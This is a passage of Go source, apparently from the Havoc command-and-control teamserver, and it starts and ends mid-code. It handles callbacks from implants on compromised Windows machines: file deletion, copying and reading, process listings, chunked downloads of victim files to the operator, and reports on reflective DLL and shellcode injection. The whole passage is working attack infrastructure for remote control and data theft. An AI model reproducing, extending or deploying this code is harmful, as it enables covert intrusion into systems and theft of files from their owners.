{\n\t\t\t\t\tvar (\n\t\t\t\t\t\tIsDir = Parser.ParseInt32()\n\t\t\t\t\t\tPath  = Parser.ParseUTF16String()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, IsDir: %d, Path: %v\", AgentID, IsDir, Path))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\n\t\t\t\t\tif IsDir == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Removed directory: %v\", Path)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Removed file: %v\", Path)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_REMOVE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_MKDIR:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Path = Parser.ParseUTF16String()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Path: %v\", AgentID, Path))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Created directory: %v\", Path)\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MKDIR, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_COPY:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccess  = Parser.ParseInt32()\n\t\t\t\t\t\tPathFrom = Parser.ParseUTF16String()\n\t\t\t\t\t\tPathTo   = Parser.ParseUTF16String()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Success: %d, PathFrom: %v, PathTo: %v\", AgentID, Success, PathFrom, PathTo))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Successful copied file %v to %v\", PathFrom, PathTo)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to copied file %v to %v\", PathFrom, PathTo)\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_COPY, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n                        case DEMON_COMMAND_FS_MOVE:\n                                if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes}) {\n                                        var (\n                                                Success  = Parser.ParseInt32()\n                                                PathFrom = Parser.ParseUTF16String()\n                                                PathTo   = Parser.ParseUTF16String()\n                                        )\n\n                                        logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Success: %d, PathFrom: %v, PathTo: %v\", AgentID, Success, PathFrom, PathTo))\n\n                                        if Success == win32.TRUE {\n                                                Output[\"Type\"] = \"Good\"\n                                                Output[\"Message\"] = fmt.Sprintf(\"Successful moved file %v to %v\", PathFrom, PathTo)\n                                        } else {\n                                                Output[\"Type\"] = \"Error\"\n                                                Output[\"Message\"] = fmt.Sprintf(\"Failed to moved file %v to %v\", PathFrom, PathTo)\n                                        }\n                                        a.RequestCompleted(RequestID)\n                                } else {\n                                        logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_MOVE, Invalid packet\", AgentID))\n                                }\n\n                                break\n\n\n\t\t\tcase DEMON_COMMAND_FS_GET_PWD:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Path = Parser.ParseUTF16String()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Path: %v\", AgentID, Path))\n\n\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Current directory: %v\", Path)\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_GET_PWD, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_FS_CAT:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadBytes}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tFileName    = Parser.ParseUTF16String()\n\t\t\t\t\t\tSuccess     = Parser.ParseInt32()\n\t\t\t\t\t\tFileContent = Parser.ParseString()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, FileName: %v, Success: %d\", AgentID, FileName, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"File content of %v (%v):\", FileName, len(FileContent))\n\t\t\t\t\t\tOutput[\"Output\"] = FileContent\n\t\t\t\t\t} else {\n\t\t\t\t\t\tOutput[\"Type\"] = \"Erro\"\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Failed to read file: %v\", FileName)\n\t\t\t\t\t}\n\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - DEMON_COMMAND_FS_CAT, Invalid packet\", AgentID))\n\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\tOutput[\"Message\"] = \"Failed to parse fs::cat response\"\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\n\t\t\tbreak\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_FS, Invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_PROC_LIST:\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC_LIST\", AgentID))\n\t\ttype Process struct {\n\t\t\tName      string\n\t\t\tImagePath string\n\t\t\tPID       string\n\t\t\tPPID      string\n\t\t\tSession   string\n\t\t\tIsWow     int\n\t\t\tThreads   string\n\t\t\tUser      string\n\t\t}\n\n\t\tvar (\n\t\t\ttableData     [][]string\n\t\t\tProcesslist   []Process\n\t\t\tprocesses     int\n\t\t\tOutput        = make(map[string]string)\n\t\t\tProcessUI     = Parser.ParseInt32()\n\t\t\tProcessTable  string\n\t\t\tProcessMaxStr int\n\t\t)\n\n\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) {\n\t\t\tvar (\n\t\t\t\tcollum  []string\n\t\t\t\tProcess Process\n\t\t\t)\n\n\t\t\tProcess.Name = Parser.ParseUTF16String()\n\t\t\tProcess.PID = strconv.Itoa(Parser.ParseInt32())\n\t\t\tProcess.IsWow = Parser.ParseInt32()\n\t\t\tProcess.PPID = strconv.Itoa(Parser.ParseInt32())\n\t\t\tProcess.Session = strconv.Itoa(Parser.ParseInt32())\n\t\t\tProcess.Threads = strconv.Itoa(Parser.ParseInt32())\n\t\t\tProcess.User = Parser.ParseUTF16String()\n\n\t\t\tvar ProcessArch = \"x64\"\n\t\t\tif Process.IsWow == win32.TRUE {\n\t\t\t\tProcessArch = \"x86\"\n\t\t\t}\n\n\t\t\tcollum = []string{Process.Name, Process.PID, Process.PPID, Process.Session, ProcessArch, Process.Threads, Process.User}\n\n\t\t\ttableData = append(tableData, collum)\n\t\t\tProcesslist = append(Processlist, Process)\n\t\t\tprocesses++\n\n\t\t\tif len(Process.Name) > ProcessMaxStr {\n\t\t\t\tProcessMaxStr = len(Process.Name)\n\t\t\t}\n\t\t}\n\n\t\tFormatTable := fmt.Sprintf(\" %%-%vs   %%-4s   %%-4s   %%-7s   %%-5s   %%-7s   %%-4s\", ProcessMaxStr)\n\t\tProcessTable += fmt.Sprintf(FormatTable+\"\\n\", \"Name\", \"PID\", \"PPID\", \"Session\", \"Arch\", \"Threads\", \"User\")\n\t\tProcessTable += fmt.Sprintf(FormatTable+\"\\n\", \"----\", \"---\", \"----\", \"-------\", \"----\", \"-------\", \"----\")\n\n\t\tfor _, process := range Processlist {\n\t\t\tvar ProcessArch = \"x64\"\n\t\t\tif process.IsWow == win32.TRUE {\n\t\t\t\tProcessArch = \"x86\"\n\t\t\t}\n\n\t\t\tProcessTable += fmt.Sprintf(FormatTable+\"\\n\", process.Name, process.PID, process.PPID, process.Session, ProcessArch, process.Threads, process.User)\n\t\t}\n\n\t\tvar ProcessListJson, _ = json.Marshal(Processlist)\n\n\t\tif ProcessUI == win32.FALSE {\n\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\tOutput[\"Message\"] = \"Process List:\"\n\t\t\tOutput[\"Output\"] = \"\\n\" + ProcessTable\n\t\t} else {\n\t\t\tlogger.Debug(\"Process UI\")\n\t\t\tOutput[\"MiscType\"] = \"ProcessUI\"\n\t\t\tOutput[\"MiscData\"] = base64.StdEncoding.EncodeToString(ProcessListJson)\n\t\t}\n\t\ta.RequestCompleted(RequestID)\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\n\tcase COMMAND_OUTPUT:\n\t\tvar Output = make(map[string]string)\n\t\tvar message string\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\tmessage = Parser.ParseString()\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_OUTPUT, len: %d\", AgentID, len(message)))\n\n\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\tOutput[\"Output\"] = message\n\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Received Output [%v bytes]:\", len(message))\n\t\t\tif len(message) > 0 {\n\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_OUTPUT, Invalid packet \", AgentID))\n\t\t}\n\n\tcase BEACON_OUTPUT:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar Type = Parser.ParseInt32()\n\n\t\t\tswitch Type {\n\n\t\t\tcase CALLBACK_OUTPUT:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT\", AgentID))\n\n\t\t\t\t\tfound := false\n\t\t\t\t\tfor _, BofCallback := range a.BofCallbacks {\n\t\t\t\t\t\tif BofCallback.TaskID == RequestID {\n\t\t\t\t\t\t\t// store the output and later send it back to the python module\n\t\t\t\t\t\t\tBofCallback.Output += Parser.ParseString()\n\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif found == false {\n\t\t\t\t\t\t// simply print the output on the agent console\n\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\tOutput[\"Output\"] = Parser.ParseString()\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Received Output [%v bytes]:\", len(Output[\"Output\"]))\n\t\t\t\t\t\tif len(Output[\"Output\"]) > 0 {\n\t\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tcase CALLBACK_OUTPUT_OEM:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM\", AgentID))\n\n\t\t\t\t\tfound := false\n\t\t\t\t\tfor _, BofCallback := range a.BofCallbacks {\n\t\t\t\t\t\tif BofCallback.TaskID == RequestID {\n\t\t\t\t\t\t\t// store the output and later send it back to the python module\n\t\t\t\t\t\t\tBofCallback.Output += Parser.ParseUTF16String()\n\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif found == false {\n\t\t\t\t\t\t// simply print the output on the agent console\n\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\tOutput[\"Output\"] = Parser.ParseUTF16String()\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Received Output [%v bytes]:\", len(Output[\"Output\"]))\n\t\t\t\t\t\tif len(Output[\"Output\"]) > 0 {\n\t\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_OUTPUT_OEM, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tcase CALLBACK_ERROR:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR\", AgentID))\n\n\t\t\t\t\tfound := false\n\t\t\t\t\tfor _, BofCallback := range a.BofCallbacks {\n\t\t\t\t\t\tif BofCallback.TaskID == RequestID {\n\t\t\t\t\t\t\t// store the output and later send it back to the python module\n\t\t\t\t\t\t\tBofCallback.Error += Parser.ParseString()\n\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif found == false {\n\t\t\t\t\t\t// simply print the output on the agent console\n\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\tOutput[\"Type\"] = typeError\n\t\t\t\t\t\tOutput[\"Output\"] = Parser.ParseString()\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Received Output [%v bytes]:\", len(Output[\"Output\"]))\n\t\t\t\t\t\tif len(Output[\"Output\"]) > 0 {\n\t\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_ERROR, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tcase CALLBACK_FILE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Data = Parser.ParseBytes()\n\t\t\t\t\tif len(Data) > 8 {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE\", AgentID))\n\t\t\t\t\t\tvar FileID = int(binary.BigEndian.Uint32(Data[0:4]))\n\t\t\t\t\t\tvar FileLength = int64(binary.BigEndian.Uint32(Data[4:8]))\n\t\t\t\t\t\tvar FileName = string(Data[8:])\n\n\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\tOutput[\"Type\"] = \"Info\"\n\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Started download of file: %v [%v]\", FileName, FileLength)\n\t\t\t\t\t\tlogger.Debug(Output[\"Message\"])\n\n\t\t\t\t\t\tif err := a.DownloadAdd(FileID, FileName, FileLength); err != nil {\n\t\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tOutput[\"Message\"] = err.Error()\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tOutput[\"MiscType\"] = \"download\"\n\t\t\t\t\t\t\tOutput[\"MiscData2\"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + \";\" + common.ByteCountSI(int64(FileLength))\n\t\t\t\t\t\t}\n\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet\", AgentID))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase CALLBACK_FILE_WRITE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Data = Parser.ParseBytes()\n\t\t\t\t\tif len(Data) >= 4 {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE\", AgentID))\n\n\t\t\t\t\t\tvar FileID = int(binary.BigEndian.Uint32(Data[0:4]))\n\t\t\t\t\t\tvar FileChunk = Data[4:]\n\n\t\t\t\t\t\tvar err = a.DownloadWrite(FileID, FileChunk)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\t\tOutput[\"Type\"] = \"Error\"\n\t\t\t\t\t\t\tOutput[\"Message\"] = err.Error()\n\t\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet\", AgentID))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_WRITE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase CALLBACK_FILE_CLOSE:\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {\n\t\t\t\t\tvar Data = Parser.ParseBytes()\n\t\t\t\t\tif len(Data) >= 4 {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE\", AgentID))\n\n\t\t\t\t\t\tvar FileID = int(binary.BigEndian.Uint32(Data[0:4]))\n\n\t\t\t\t\t\tvar download = a.DownloadGet(FileID)\n\t\t\t\t\t\tif download != nil {\n\t\t\t\t\t\t\tvar Output = make(map[string]string)\n\t\t\t\t\t\t\tOutput[\"Type\"] = \"Good\"\n\t\t\t\t\t\t\tOutput[\"Message\"] = fmt.Sprintf(\"Finished download of file: %v\", download.FilePath)\n\t\t\t\t\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Output)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(\"download == nil\")\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\ta.DownloadClose(FileID)\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet\", AgentID))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - CALLBACK_FILE_CLOSE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT - UNKNOWN (%d)\", AgentID, Type))\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: BEACON_OUTPUT, Invalid packet\", AgentID))\n\t\t}\n\n\tcase COMMAND_INJECT_DLL:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tStatus  = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INJECT_DLL, Status: %d\", AgentID, Status))\n\n\t\t\tif Status == 0 {\n\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\tMessage[\"Message\"] = \"Successful injected reflective dll\"\n\t\t\t} else {\n\t\t\t\tString, ok := InjectErrors[Status]\n\t\t\t\tif ok {\n\t\t\t\t\tString = fmt.Sprintf(\"Status:[%v]\", String)\n\t\t\t\t}\n\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Failed to inject reflective dll: \" + String\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INJECT_DLL, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_SPAWNDLL:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tStatus  = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SPAWNDLL, Status: %d\", AgentID, Status))\n\n\t\t\tif Status == 0 {\n\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\tMessage[\"Message\"] = \"Successful spawned reflective dll\"\n\t\t\t} else {\n\t\t\t\tString, ok := InjectErrors[Status]\n\t\t\t\tif ok {\n\t\t\t\t\tString = fmt.Sprintf(\"Status:[%v]\", String)\n\t\t\t\t}\n\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Failed to spawned reflective dll: \" + String\n\t\t\t}\n\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SPAWNDLL, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_INJECT_SHELLCODE:\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tStatus  = Parser.ParseInt32()\n\t\t\t\tMessage = make(map[string]string)\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Status: %d\", AgentID, Status))\n\n\t\t\tif Status == INJECT_ERROR_SUCCESS {\n\t\t\t\tMessage[\"Type\"] = \"Good\"\n\t\t\t\tMessage[\"Message\"] = \"Successful injected shellcode\"\n\t\t\t} else if Status == INJECT_ERROR_FAILED {\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Failed to inject shellcode\"\n\t\t\t} else if Status == INJECT_ERROR_INVALID_PARAM {\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Invalid parameter specified\"\n\t\t\t} else if Status == INJECT_ERROR_PROCESS_ARCH_MISMATCH {\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Process architecture mismatch\"\n\t\t\t} else if Status == INJECT_ERROR_FAILED {\n\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\tMessage[\"Message\"] = \"Failed to inject shellcode\"\n\t\t\t}\n\n\t\t\ta.RequestCompleted(RequestID)\n\t\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_INJECT_SHELLCODE, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_PROC:\n\t\tvar (\n\t\t\tMessage    = make(map[string]string)\n\t\t\tSubCommand int\n\t\t)\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\tSubCommand = Parser.ParseInt32()\n\n\t\t\tswitch SubCommand {\n\t\t\tcase DEMON_COMMAND_PROC_MODULES:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_MODULES\", AgentID))\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tModuleName string\n\t\t\t\t\t\tModuleBase string\n\t\t\t\t\t\tProcessID  = Parser.ParseInt32()\n\n\t\t\t\t\t\tOutputBuffer bytes.Buffer\n\t\t\t\t\t\ttableData    [][]string\n\t\t\t\t\t)\n\n\t\t\t\t\ttable := tablewriter.NewWriter(&OutputBuffer)\n\n\t\t\t\t\ttable.SetHeader([]string{\"Name\", \"Base Address\"})\n\t\t\t\t\ttable.SetBorder(false)\n\t\t\t\t\ttable.SetHeaderAlignment(tablewriter.ALIGN_CENTER)\n\n\t\t\t\t\ttable.SetRowSeparator(\"-\")\n\t\t\t\t\ttable.SetColumnSeparator(\"│\")\n\t\t\t\t\ttable.SetCenterSeparator(\"+\")\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadPointer}) {\n\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\tcollum []string\n\t\t\t\t\t\t)\n\n\t\t\t\t\t\tModuleName = Parser.ParseString()\n\t\t\t\t\t\tModuleBase = \"0x\" + strconv.FormatInt(Parser.ParsePointer(), 16)\n\n\t\t\t\t\t\tcollum = []string{strings.ReplaceAll(ModuleName, \" \", \"\"), ModuleBase} // TODO: fix this to avoid new line in the havoc console\n\t\t\t\t\t\ttableData = append(tableData, collum)\n\t\t\t\t\t}\n\t\t\t\t\ttable.AppendBulk(tableData)\n\t\t\t\t\ttable.Render()\n\n\t\t\t\t\tMessage[\"Type\"] = \"Info\"\n\t\t\t\t\tMessage[\"Message\"] = fmt.Sprintf(\"List loaded modules/dll from process %v:\", ProcessID)\n\t\t\t\t\tMessage[\"Output\"] = \"\\n\" + OutputBuffer.String()\n\n\t\t\t\t} else {\n\t\t\t\t\tMessage[\"Type\"] = \"Error\"\n\t\t\t\t\tMessage[\"Message\"] = \"Couldn't list loaded modules/dll from specified process: \"\n\t\t\t\t}\n\t\t\t\ta.RequestCompleted(RequestID)\n\n\t\t\t\tbreak\n\n\t\t\tcase DEMON_COMMAND_PROC_GREP:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PROC - DEMON_COMMAND_PROC_GREP\", AgentID))\n\t\t\t\tif Parser.Length() > 0 {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tProcName  string\n\t\t\t\t\t\tProcID    int\n\t\t\t\t\t\tParentPID int\n\t\t\t\t\t\tProcUser  string\n\t\t\t\t\t\tProcArch  int\n\n\t\t\t\t\t\tOutput string\n\t\t\t\t\t)\n\n\t\t\t\t\tfor Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32}) {\n\t\t\t\t\t\tProcName = Parser.ParseUTF16String()\n\t\t\t\t\t\tProcID = Parser.ParseInt32()\n\t\t\t\t\t\tParentPID = Parser.ParseInt32()\n\t\t\t\t\t\tProcUser = Parser.ParseUTF16String()\n\t\t\t\t\t\tProcArch = 